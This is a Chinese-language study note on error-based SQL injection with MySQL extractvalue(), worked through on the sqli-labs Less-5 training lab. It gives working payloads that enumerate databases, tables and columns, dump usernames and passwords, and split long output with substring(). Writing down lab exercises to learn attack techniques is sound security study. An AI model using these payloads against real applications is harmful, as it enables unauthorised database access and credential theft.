1 | (select group_concat(table_name) from information_schema.tables where table_schema=database()) |
这句直接背下来
学习笔记:SQL 报错注入 extractvalue()
1. 什么是报错注入?
- 定义:当 Web 应用在后台执行 SQL 语句时,没有对用户输入进行严格的安全过滤,导致 SQL 语句拼接错误并在数据库中执行失败。如果后台将数据库的报错信息未加区分地直接回显到前端页面,攻击者就可以利用这种机制获取数据。
- 前提条件:Web 页面必须要有数据库报错信息的回显。
- 与 Union 注入的区别:Union 注入需要页面有数据查询结果的显示位,而报错注入只需要页面能显示错误信息即可。

如图并没有回显位
2. 核心原理
攻击者故意构造语法错误的 SQL 语句,并在错误的位置嵌入我们需要查询的子查询语句。当数据库报错时,会将这个子查询语句的执行结果作为错误信息的一部分抛出,从而让我们在前端页面看到想要的数据。
3. extractvalue() 函数详解
有十几种引发报错的函数,但最常用的有 floor()、extractvalue() 和 updatexml()。这次的重点是 extractvalue()。
- 原始功能:用于从 XML 文档中查询数据。
- 语法:
extractvalue(xml_document, xpath_string)xml_document:XML 文档对象名称(注入时可随便写,如1或doc)。xpath_string:XPath 路径(关键注入点)。
- 报错机制:XPath 的格式有严格要求(通常以
/开头)。如果我们在第二个参数中传入了不符合 XPath 格式的字符串(例如以~开头,十六进制为0x7e),MySQL 就会报错,并且在报错信息中会将你传入的错误路径原样输出。 - 构造 Payload 原理:使用
concat()函数将非法字符(如0x7e)与我们的子查询拼接到一起,作为xpath_string传入。- 例如:
extractvalue(1, concat(0x7e, (SELECT database()))) - 报错结果类似:
XPATH syntax error: '~security'(其中 security 就是子查询查出的当前数据库名)。
- 例如:
4. 实战注入步骤 (以 sqli-labs Less-5 为例)
Step 1: 判断是否存在报错注入
输入单引号 ?id=1',观察页面是否报出 SQL 语法错误。
这里可以看到,报出了语法错误,证明为字符型注入,且闭合符号为单引号
Step 2: 爆当前数据库名
1 | ?id=100' and 1=extractvalue(1, concat(0x7e, (select database()))) --+ |

Step 3: 爆表名 (Table Name)
利用 information_schema.tables 查表名。
1 | ?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ |

Step 4: 爆列名/字段名 (Column Name)
假设查到有 users 表,继续查它的列。
1 | ?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+ |

可以看到查到了 username 和 password 列。
Step 5: 爆具体数据
现在把 username 和 password 列进行报错回显。
1 | ?id=100' and 1=extractvalue(1, concat(0x7e, (select group_concat(username, '~', password) from users))) --+ |

可以看到这里也是成功爆出关键数据了,不过数据不能完整显示
5. 突破32 位字符限制
- 限制:
extractvalue()报错回显的字符串最多只能显示 32 个字符。如果有大量数据(如使用了group_concat),多余的部分会被截断。 - 突破方法:使用
substring()函数分段截取。- 语法:
substring(字符串, 起始位置, 截取长度) - 示例 (截取前 30 个字符):
1
?id=100' and 1=extractvalue(1, concat(0x7e, substring((select group_concat(username, '~', password) from users), 1, 30))) --+
- 示例 (截取后续字符):将起始位置往后移,比如改为
31继续获取:1
?id=100' and 1=extractvalue(1, concat(0x7e, substring((select group_concat(username, '~', password) from users), 31, 30))) --+

- 语法:
6. 易错点
- 路径前缀必须非法:
extractvalue的第二个参数最前面必须要有非法字符(如0x7e表示的~),如果没有(例如直接写title),即使找不到内容也不会报错,只会返回空。 - 括号匹配:编写复杂的 Payload 时(涉及
concat,extractvalue, 子查询),非常容易少写或多写右括号),建议从内向外一层层写并仔细检查。 - 关键词拼写:如
information_schema等长单词容易拼错,需要格外注意。
1 | (select group_concat(table_name) from information_schema.tables where table_schema=database()) |
这句直接背下来,用的很多